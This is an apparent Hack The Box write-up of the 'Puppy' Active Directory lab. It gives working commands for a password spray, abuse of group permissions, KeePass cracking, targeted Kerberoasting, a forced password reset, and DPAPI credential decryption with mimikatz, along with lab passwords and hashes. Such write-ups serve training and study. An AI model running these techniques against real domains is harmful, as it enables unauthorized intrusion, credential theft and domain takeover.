HTB: Puppy
Puppy is a medium difficulty windows box. It's an assumed breach scenario and it starts off with misconfigured group permissions that lets us add ourselves to the Developers group and access a share that has KeePass files. This gives us credentials to a user that can ForceChangePassword for another user to give us the user flag. From there, we'll find hardcoded credentials on the box and extract DPAPI secrets to escalate privileges to domain admin.
Overview
Puppy was a fun assumed breach scenario that started off with common AD misconfigurations that allowed us to pivot to multiple users before getting the flag. One of the steps to get there involved cracking KeePass v4 files which wasn’t supported by the default JtR in kali and we had to use the Bleeding Turbo build. For domain admin, we’ll discover credentials in a backup LDAP configuration file that belonged to a user which also had another account that was a domain admin. Finally we’ll use those credentials to extract DPAPI secrets to escalate privileges.
The box is also themed around the NBA so that was funny seeing familiar names pop up while rooting the box. 😂
Recon
nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
# Nmap 7.95 scan initiated Fri Sep 26 19:44:31 2025 as: /usr/lib/nmap/nmap -Pn -p 53,88,111,135,139,389,445,464,593,636,2049,3260,3268,3269,5985,9389,49664,49667,49668,49676,49691,56205 -sSCV -vv -oN nmap.txt 10.129.232.75
Nmap scan report for 10.129.232.75
Host is up, received user-set (0.069s latency).
Scanned at 2025-09-26 19:44:44 +08 for 176s
Bug in iscsi-info: no string output.
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-09-26 10:45:05Z)
111/tcp open rpcbind syn-ack ttl 127 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 127
2049/tcp open nlockmgr syn-ack ttl 127 1-4 (RPC #100021)
3260/tcp open iscsi? syn-ack ttl 127
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack ttl 127
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
49664/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49676/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49691/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
56205/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 32931/tcp): CLEAN (Timeout)
| Check 2 (port 48002/tcp): CLEAN (Timeout)
| Check 3 (port 19274/udp): CLEAN (Timeout)
| Check 4 (port 46436/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: -59m35s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-09-26T10:47:11
|_ start_date: N/A
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Sep 26 19:47:40 2025 -- 1 IP address (1 host up) scanned in 188.94 seconds
Nmap scan shows that this is a domain controller. The domain is puppy.htb and the hostname is DC. I’ll add the entries to my host file.
1
2
3
4
nxc smb 10.129.232.75 --generate-hosts-file hosts
10.129.232.75 DC.PUPPY.HTB PUPPY.HTB DC
cat hosts | sudo tee -a /etc/hosts
Initial Enumeration
The user that we’re provided with doesn’t have any permissions on non-default shares (DEV). There also weren’t any logon scripts left behind on SYSVOL shares.
1
2
3
4
5
6
7
8
9
10
11
12
nxc smb PUPPY.HTB -u 'levi.james' -p 'KingofAkron2025!' --shares
SMB 10.129.232.75 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.129.232.75 445 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB 10.129.232.75 445 DC [*] Enumerated shares
SMB 10.129.232.75 445 DC Share Permissions Remark
SMB 10.129.232.75 445 DC ----- ----------- ------
SMB 10.129.232.75 445 DC ADMIN$ Remote Admin
SMB 10.129.232.75 445 DC C$ Default share
SMB 10.129.232.75 445 DC DEV DEV-SHARE for PUPPY-DEVS
SMB 10.129.232.75 445 DC IPC$ READ Remote IPC
SMB 10.129.232.75 445 DC NETLOGON READ Logon server share
SMB 10.129.232.75 445 DC SYSVOL READ Logon server share
I noted that the domain doesn’t enforce account lockouts, so I grabbed the list of users and did a password spray hoping for a quick win to pivot to another user but was unsuccessful.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
nxc smb PUPPY.HTB -u 'levi.james' -p 'KingofAkron2025!' --pass-pol
SMB 10.129.232.75 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.129.232.75 445 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB 10.129.232.75 445 DC [+] Dumping password info for domain: PUPPY
SMB 10.129.232.75 445 DC Minimum password length: 7
SMB 10.129.232.75 445 DC Password history length: 24
SMB 10.129.232.75 445 DC Maximum password age: 41 days 23 hours 53 minutes
SMB 10.129.232.75 445 DC
SMB 10.129.232.75 445 DC Password Complexity Flags: 000001
SMB 10.129.232.75 445 DC Domain Refuse Password Change: 0
SMB 10.129.232.75 445 DC Domain Password Store Cleartext: 0
SMB 10.129.232.75 445 DC Domain Password Lockout Admins: 0
SMB 10.129.232.75 445 DC Domain Password No Clear Change: 0
SMB 10.129.232.75 445 DC Domain Password No Anon Change: 0
SMB 10.129.232.75 445 DC Domain Password Complex: 1
SMB 10.129.232.75 445 DC
SMB 10.129.232.75 445 DC Minimum password age: 1 day 4 minutes
SMB 10.129.232.75 445 DC Reset Account Lockout Counter: 30 minutes
SMB 10.129.232.75 445 DC Locked Account Duration: 30 minutes
SMB 10.129.232.75 445 DC Account Lockout Threshold: None
SMB 10.129.232.75 445 DC Forced Log off Time: Not Set
We don’t have anything else to work on from here, so I ran bloodhound to map out the domain.
1
bloodhound-python --username levi.james --password 'KingofAkron2025!' -c All -d PUPPY.HTB -dc DC.PUPPY.HTB -ns 10.129.232.75 --zip --dns-timeout 30
User as ant.edwards
Misconfigured GenericWrite Access over Developers group
Our user levi.james is a member of the HR group, and this group is misconfigured to have GenericWrite permissions over the Developers group.
This allows us to add ourselves as a member of the Developers group and access the DEV share.
1
net rpc group addmem "Developers" "levi.james" -U "PUPPY.HTB"/"levi.james"%'KingofAkron2025!' -S "DC.PUPPY.HTB"
KeePass credentials in SMB share
The Developers have left behind a KeePass database file on the Dev share for recovery.
1
2
3
4
5
6
7
8
9
10
11
impacket-smbclient puppy.htb/levi.james:'KingofAkron2025!'@10.129.232.75
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Type help for list of commands
# use DEV
# ls
drw-rw-rw- 0 Sun Mar 23 15:07:57 2025 .
drw-rw-rw- 0 Sun Mar 9 00:52:57 2025 ..
-rw-rw-rw- 34394112 Sun Mar 23 15:09:12 2025 KeePassXC-2.7.9-Win64.msi
drw-rw-rw- 0 Mon Mar 10 04:16:16 2025 Projects
-rw-rw-rw- 2677 Wed Mar 12 10:25:46 2025 recovery.kdbx
I downloaded the KeePass file and tried to crack it with john but the john installed on my machine doesn’t support KeePass v4 files.
1
2
keepass2john recovery.kdbx
! recovery.kdbx : File version '40000' is currently not supported!
To crack KeePass v4 files, we’ll have to use JtR Bleeding Jumbo as mentioned here. I grabbed the flatpak release for JtR Bleeding Jumbo and it does work for KeePass v4.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
benkyou@fedora:~/$ flatpak run --command=keepass2john com.openwall.John recovery.kdbx > recovery.hash
benkyou@fedora:~/$ flatpak run com.openwall.John --wordlist=./rockyou.txt recovery.hash
KeePass-opencl: Argon2 hash(es) not supported, skipping.
Warning: detected hash type "KeePass", but the string is also recognized as "KeePass-Argon2-opencl"
Use the "--format=KeePass-Argon2-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [AES/Argon2 256/256 AVX2])
Cost 1 (t (rounds)) is 37 for all loaded hashes
Cost 2 (m) is 65536 for all loaded hashes
Cost 3 (p) is 4 for all loaded hashes
Cost 4 (KDF [0=Argon2d 2=Argon2id 3=AES]) is 0 for all loaded hashes
Will run 2 OpenMP threads
Note: Passwords longer than 41 [worst case UTF-8] to 124 [ASCII] rejected
Press Ctrl-C to abort, or send SIGUSR1 to john process for status
liverpool (recovery)
1g 0:00:01:01 DONE (2025-09-26 12:33) 0.01616g/s 0.5817p/s 0.5817c/s 0.5817C/s jordan..liverpool
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
The KeePass database has credentials for users in the domain, and I used these for a password spray. 
Out of the credentials, only one worked that gave us access as ant.edwards.
1
2
3
nxc smb PUPPY.HTB -u users.list -p passwords.txt --continue-on-success
...[SNIP]...
SMB 10.129.232.75 445 DC [+] PUPPY.HTB\ant.edwards:Antman2025!
User as adam.silver
Trying targeted kerberoasting and failing
ant.edwards is a member of the Senior Devs group which has GenericAll permissions over adam.silver. This allows us to do a targeted Kerberoasting attack on adam.silver by setting a service principal name or force a password reset. Personally, I prefer doing targeted Kerberoasting first and only attempt the latter if their password can’t be cracked because resetting a user’s password is disruptive.
I’ll show this using powerview.py which I’ve been trying out more recently and find it pretty intuitive to use especially with its auto-complete :D
I’ll first query the user object for adam.silver and confirm that they don’t have an SPN yet. Another thing that stands out here is ACCOUNTDISABLED is set for userAccountControl. This means that we will have to re-enable the account before kerberoasting, otherwise it’ll fail.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
powerview PUPPY.HTB/ant.edwards:'Antman2025!'@10.129.232.75
╭─LDAP─[DC.PUPPY.HTB]─[PUPPY\ant.edwards]-[NS:10.129.232.75]
╰─PV ❯ Get-DomainUser -Identity adam.silver
objectClass : top
person
organizationalPerson
user
cn : Adam D. Silver
distinguishedName : CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTB
memberOf : CN=DEVELOPERS,DC=PUPPY,DC=HTB
CN=Remote Management Users,CN=Builtin,DC=PUPPY,DC=HTB
name : Adam D. Silver
objectGUID : {1bdd74e9-5304-4eb2-ad6b-c731371f0aeb}
userAccountControl : ACCOUNTDISABLE
NORMAL_ACCOUNT
DONT_EXPIRE_PASSWORD
badPwdCount : 3
badPasswordTime : 27/09/2025 13:32:55 (today)
lastLogoff : 1601-01-01 00:00:00+00:00
lastLogon : 14/03/2025 00:03:46 (6 months, 13 days ago)
pwdLastSet : 27/09/2025 13:34:29 (today)
primaryGroupID : 513
objectSid : S-1-5-21-1487982659-1829050783-2281216199-1105
adminCount : 1
sAMAccountName : adam.silver
sAMAccountType : SAM_USER_OBJECT
userPrincipalName : adam.silver@PUPPY.HTB
objectCategory : CN=Person,CN=Schema,CN=Configuration,DC=PUPPY,DC=HTB
lastLogonTimestamp : 13/03/2025 16:40:26 (6 months, 14 days ago)
Since we have GenericAll over the user object, we can re-enable it, and set an SPN.
1
2
3
4
5
6
7
╭─LDAP─[DC.PUPPY.HTB]─[PUPPY\ant.edwards]-[NS:10.129.232.75]
╰─PV ❯ Enable-ADAccount -Identity adam.silver
[2025-09-27 22:29:26] [Set-DomainObject] Success! modified attribute userAccountControl for CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTB
[2025-09-27 22:29:26] [Enable-ADAccount] Account adam.silver enabled
╭─LDAP─[DC.PUPPY.HTB]─[PUPPY\ant.edwards]-[NS:10.129.232.75]
╰─PV ❯ Set-DomainObject -Identity adam.silver -Set 'servicePrincipalName=foo/bar'
[2025-09-27 22:29:30] [Set-DomainObject] Success! modified attribute servicePrincipalName for CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTB
Then, we can do a targeted kerberoast but the hash doesn’t crack.
1
2
3
4
5
6
7
8
9
10
11
impacket-GetUserSPNs puppy.htb/ant.edwards:'Antman2025!' -dc-ip 10.129.232.75 -request -request-user adam.silver
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
-------------------- ----------- ----------------------------- -------------------------- -------------------------- ----------
foo/bar adam.silver CN=DEVELOPERS,DC=PUPPY,DC=HTB 2025-09-27 21:49:29.581993 2025-03-14 08:03:46.546147
[-] CCache file is not found. Skipping...
$krb5tgs$23$*adam.silver$PUPPY.HTB$puppy.htb/adam.silver*$873da731756d911ef76f23d5544b85fb$678be421b802a315469a75227688987d34edd258155ac78f413ea708267e6f14b3ba9a2fd7fe3b0cdf66d67ead62ed9ec3304e820ae8cdbb0db698dbc3522c8370eeb0e351bd12656ff353b05acfe554b2b19d125c13fb7bc6b16b99bed3b5ad922c3409159c6e46ab9a8ed0509b49afd9f468da69ab295eff174223d49d9bf335a414887afd90e5a865b13e16ba1e0f86b133084ad50e5f847616526356cfcbef697ad59427351687a9dd3dc47312113d2137624ae283ba1e552b7d866f92cab86e11dc5778aba7c1188f2a1dd7bd82c9d9ab34bbd60904d93984960a019b89ca8111aeb441aa80f1d10904261a519843eddc6114c7965525e603eabc40815c350f657d258e358b34308b3588c7a738ade12351ba889acad03d85744db896a13de3bf25acc2176536c9953eaf47bd2a30ec7f2495639a4eb2aa4dccbdc2eda0a8477ce7b1b98ec36755258b2973ec91abb28ba4ad59005a03c3bd40713bae02b3b5a176a7eee62717d7bc08625a1ed65751c223253fbf676957fb6ab60c9cd654d11adaec6fdfa407a8087427d3347f075c5cdd536317cdd33c3b9c4ec055e825b4fa78ca378e974b1386654fac6e3c1b4782dc51e908e24b6e2df1c7435aefa50de438d19c655eba0332847e4c6ea33e457400efc81310bd52ed625800035ba0b6c2df69748ac299207c7cd6d6bcd89b6843db10da5a0ce8d3fc516ffdc856890f444c56519ea2810f093685a2ba6660a8a80bd8d72bbcff37a7b0702800471ba52e98093c45ee6f95be62329f8b3b93339e6ff17fd422060a11d7278863825f0ef56d9bccc046bdc954220326243151486af3e52765ed7a5b5907bf52765965ced9da7bbe43ad8e9ea8005a251614b3492a919d7ce9c4471656e645cefb73250d9cba99f79423e23af155c6cd391ca8742903070c2fe0569f41e7d7e7794f3843208795149e92d183bafa74c06c07c728b5959ee9c3c4095c8a46b6cd81ed65cbd83cc495bb5965ac3087499ed626af2421fca949ede5d23779f71cf9eb0971cb50a5894da5df1051c81f37a3295db7c32ec7a693ecd5a7298c74b7ee6a547dde0de60db8db978a7c57d1252d5241075c8200179303abcf128416f153db0ad4037306666140b144888ae587713d90bdefde625f071926b8bec83469cddf6337e44bd3a125ef9304fd96d70c82eb27226f3103da01febd3745516978dbe685138d062c084207999dc6686f6fad0faba3341e9f48e0dda6fc1e643d8b7d37011582fb6fd00a937022a928d8f0a7a302c8c18acfffa8557d2b13749d5381adc896d37eb1c801087c5b25b13f5d08622ccdf5ff4e7a4289199a3839730a04319473c35d153025128f6c07ca963dfa3025366b3ec0425bd83b18b53468df128f140f6f86a515a3205842388f0130f8d1c60230ba2db3704bbf20e6ccc62a3de3f92b74ab4cd1f37c56873358106f75e09c53e7e971cb2de5e54a922b17f56f96cc8131700e5af4c6eba4871a34e3c9b49fbf05e380372df83a4552f670d991b9db6ae8f773256518fec93ae5969472314556ebc3d09c18cf5497b52448294b04c48f696cfbe5f9188bede9f9ca9558e59d1151235953
Forcing password change for adam.silver
Since the hash didn’t crack, we’ll have to force the password change to pivot to adam.silver.
1
2
3
4
5
╭─LDAP─[DC.PUPPY.HTB]─[PUPPY\ant.edwards]-[NS:10.129.232.75]
╰─PV ❯ Set-DomainUserPassword -Identity adam.silver -AccountPassword 'O~pvK,nSigpaF=b0'
[2025-09-27 21:58:23] [Set-DomainUserPassword] Principal CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTB found in domain
[2025-09-27 21:58:25] [Set-DomainUserPassword] Password has been successfully changed for user adam.silver
[2025-09-27 21:58:25] Password changed for adam.silver
adam.silver is a member of Remote Management Users group and we can winrm onto the box to get the user flag.
User as steph.cooper
adam.silver isn’t part of any special groups nor have any special permissions. When we enumerate the box, the Backups folder on C:\ stands out as this is non-default.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
*Evil-WinRM* PS C:\Users\adam.silver> gci -force C:\
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d--hs- 2/28/2025 12:31 PM $Recycle.Bin
d--h-- 5/12/2025 5:29 PM $WinREAgent
d----- 5/9/2025 10:48 AM Backups
d--hs- 9/27/2025 4:22 AM Config.Msi
d--hsl 2/19/2025 11:32 AM Documents and Settings
d----- 5/12/2025 5:21 PM inetpub
d----- 5/8/2021 1:20 AM PerfLogs
d-r--- 7/24/2025 12:30 PM Program Files
d----- 5/8/2021 2:40 AM Program Files (x86)
d--h-- 5/14/2025 9:53 AM ProgramData
d--hs- 2/19/2025 11:32 AM Recovery
d----- 3/8/2025 9:00 AM StorageReports
d--hs- 3/8/2025 9:00 AM System Volume Information
d-r--- 9/27/2025 4:44 AM Users
d----- 5/13/2025 4:40 PM Windows
-a-hs- 9/27/2025 4:22 AM 12288 DumpStack.log.tmp
-a-hs- 9/27/2025 4:22 AM 536870912 pagefile.sys
The Backups directory has a zip file and I’ll download it to my host.
1
2
3
4
5
6
7
8
9
*Evil-WinRM* PS C:\Users\adam.silver> gci -force C:\Backups
Directory: C:\Backups
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/8/2025 8:22 AM 4639546 site-backup-2024-12-30.zip
The zip file contains the backup of a website, and the LDAP configuration file was left behind here. This gave us credentials for steph.cooper.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
cat nms-auth-config.xml.bak
<?xml version="1.0" encoding="UTF-8"?>
<ldap-config>
<server>
<host>DC.PUPPY.HTB</host>
<port>389</port>
<base-dn>dc=PUPPY,dc=HTB</base-dn>
<bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
<bind-password>ChefSteph2025!</bind-password>
</server>
<user-attributes>
<attribute name="username" ldap-attribute="uid" />
<attribute name="firstName" ldap-attribute="givenName" />
<attribute name="lastName" ldap-attribute="sn" />
<attribute name="email" ldap-attribute="mail" />
</user-attributes>
<group-attributes>
<attribute name="groupName" ldap-attribute="cn" />
<attribute name="groupMember" ldap-attribute="member" />
</group-attributes>
<search-filter>
<filter>(&(objectClass=person)(uid=%s))</filter>
</search-filter>
</ldap-config>
Admin as steph.cooper_adm
steph.cooper doesn’t have any special permissions, but we know from earlier enumeration that there is an administrator in the domain with a similar name. steph.cooper likely created a separate account for administrative tasks and placed both his accounts under the same OU (Puppy Admins) for easier management. This OU also didn’t have special group policies applied to it, so we’ll have another way to exploit. 
I ran winPEAS and found the DPAPI credentials stood out. DPAPI (Data Protection API) is used on Windows to store credentials from browsers, Outlook, Vault, Windows Credential Manager, and etc. Typically applications that have “remember me” features will use DPAPI to encrypt the user’s passwords before storing them.
The Enterprise Credential Data stands out because this is used to authenticate to other resources in the domain
To extract the DPAPI secrets, I’ll upload mimikatz onto the machine and note down the paths for the masterkey and credentials blobs. Note that because we’re using an Evil-WinRM session, we have a non-interactive shell so we’ll have to pass arguments to mimikatz in a one-liner that ends with exit.
This happens if we try mimikatz in interactive mode with non-interactive session :(
First, we have to decrypt the masterkey using steph.cooper’s password.
1
2
3
4
5
6
7
*Evil-WinRM* PS C:\Users\steph.cooper\Documents> .\mimikatz.exe '"dpapi::masterkey /in:C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487
982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407 /sid:S-1-5-21-1487982659-1829050783-2281216199-1107 /password:ChefSteph2025! /protect
ed"' "exit"
...[SNIP]...
[masterkey] with password: ChefSteph2025! (protected user)
key : d9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
sha1: 3c3cf2061dd9d45000e9e6b49e37c7016e98e701
Then, we can use the decrypted masterkey to decrypt the credentials blobs.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
*Evil-WinRM* PS C:\Users\steph.cooper\Documents> .\mimikatz.exe "dpapi::cred /in:C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9D
EBF6B5FBD48B521B9 /masterkey:d9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c8
4" "exit"
...[SNIP]...
Decrypting Credential:
* masterkey : d9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
**CREDENTIAL**
credFlags : 00000030 - 48
credSize : 000000c8 - 200
credUnk0 : 00000000 - 0
Type : 00000002 - 2 - domain_password
Flags : 00000000 - 0
LastWritten : 3/8/2025 3:54:29 PM
unkFlagsOrSize : 00000030 - 48
Persist : 00000003 - 3 - enterprise
AttributeCount : 00000000 - 0
unk0 : 00000000 - 0
unk1 : 00000000 - 0
TargetName : Domain:target=PUPPY.HTB
UnkData : (null)
Comment : (null)
TargetAlias : (null)
UserName : steph.cooper_adm
CredentialBlob : FivethChipOnItsWay2025!
Attributes : 0
What likely happened here was the steph.cooper user created a logon session for some resource (i.e SMB/RDP) from their low privileged account, and then selected the “Save password” option which stored their domain credentials to Windows Credential Manager.
Anyways, we have the credentials for steph.cooper_adm and can escalate privileges to domain admin.



